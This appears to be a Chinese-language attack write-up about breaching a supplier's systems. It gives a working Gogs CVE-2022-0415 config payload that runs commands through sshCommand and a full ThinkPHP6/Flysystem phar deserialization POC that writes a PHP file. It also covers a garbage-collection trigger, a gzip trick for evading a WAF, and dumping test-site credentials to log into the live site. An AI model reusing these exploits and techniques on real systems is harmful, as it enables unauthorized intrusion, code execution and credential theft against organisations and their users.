前言

攻击链路为收集资产,找到系统的提供方并在供应商资产中发现相同测试站,供应商存在gogs作为git服务。

gogs攻击

gogs版本为1.11,存在历史漏洞CVE-2022-0415
漏洞原理简单来说就是目录穿越覆盖.git下的config来触发sshCommand执行命令
那我们上传一个config文件,添加sshCommand,并将url修改为ssh连接格式

[core]
        repositoryformatversion = 0
        filemode = true
        bare = false
        logallrefupdates = true
        sshCommand = "bash -c 'tou /tmp/success'"
[remote "origin"]
        url = [email protected]:test1/t3.git
        fetch = +refs/heads/*:refs/remotes/origin/*
[branch "master"]
        remote = origin
        merge = refs/heads/master
[user]
        email = [email protected]
        name = test1

搞定后随便修改一个文件并预览就能触发git push来执行命令
或者伪造一个session传上去也可,但保险起见先rce再找目录伪造

thinkphp6代码审计

拿到git权限后把代码拖下来开始审计
先连接测试站的数据库,把里面的用户和密码都拖下来去实站测试一下,成功登陆了一个普通账号,虽然不是admin,但问题不大。

文件上传点过滤严格,但既然是tp,那我们可以考虑反序列化
unserialize函数没有,那就看看phar反序列化,很有意思的地方在,他存在一个ajax接口,来处理一下从app上进行的请求,简单逻辑如下

public function make_poster(){
    $user_info = session('user_info');
    if ($this->app->request->isAjax()) {
        $business = $this->app->db->name('business')->where('openid',$request['openid'])->find();
        if(!$business['openid']){
            return ['code'=>201,'msg'=>''];
        }
        $formid = $request["formid"];
        $token = $request["token"];
        $live  = $this->app->db->name("apply_form")->json(['post_config'])->where("token",$token)->find();
        if($live['post_config']){
            $image[] = [
                'url' => isset($value['src']) ? file_get_contents($value['src']) : ''
            ];
        }
    }
}

首先判断是否为ajax请求,X-REQUESTED-WITH: xmlhttprequest即可
然后从需要一个openid,这个可以从别的接口获取,在经过判断,从指定token获取post_config,这个post_config可以在更新接口修改。
那只要让post_config里的src为phar://./upload/phar.png就能触发phar反序列化。

在本地测试后发现,这个环境中的tp6在读取phar的反序列化数据后是不会自动gc的,也就是说不能直接触发__destruct,但tp的链子没有wakeup起手的,只能想办法让他触发gc。
之前打ctf的小知识,反序列化数组时,如果数组末尾有垃圾数据会导致报错,从而触发gc,且不会影响之前已经反序列化的数据。
文章地址:浅析GC回收机制与phar反序列化
简单来说就是把i:1改成i:0,这样就不符合序列化格式,但文章中的签名修复有点问题,可以使用tar格式的phar,该格式不会校验签名
poc:

<?php

namespace League\Flysystem\Cached\Storage{
    abstract class AbstractCache
    {
        protected $autosave = false;
        protected $cache = ['<?php phpinfo();?>'];
    }
}

namespace League\Flysystem\Cached\Storage{
    class Adapter extends AbstractCache
    {
        protected $adapter;
        protected $file;

        public function __construct($obj)
        {
            $this->adapter = $obj;
            $this->file = 'bak1.php';
        }
    }
}

namespace League\Flysystem\Adapter{
    abstract class AbstractAdapter
    {
    }
}

namespace League\Flysystem\Adapter {
    use League\Flysystem\Cached\Storage\Adapter;
    use League\Flysystem\Config;

    class Local extends AbstractAdapter
    {

        public function has($path)
        {
        }

        public function write($path, $contents, Config $config)
        {
        }
    }
}

namespace{
    $a = new League\Flysystem\Adapter\Local();
    $b = new League\Flysystem\Cached\Storage\Adapter($a);
    $c[] = $b;
    $c[] = 1;

    $phar = new PharData("phar.tar", 0, "phartest", Phar::TAR);
    $phar->startBuffering();
    $phar->setMetadata($c);
    $phar->addFromString("test.txt" , "test");
    $phar->stopBuffering();
}

然后手动打开,修改末尾的i:1;i:1;i:0;i:0;
目标站点还存在waf,会检测流量,phar是可以识别gzip压缩后的数据的,所以再gzip phar.tar即可绕过waf


"孓然一身 , 了无牵挂"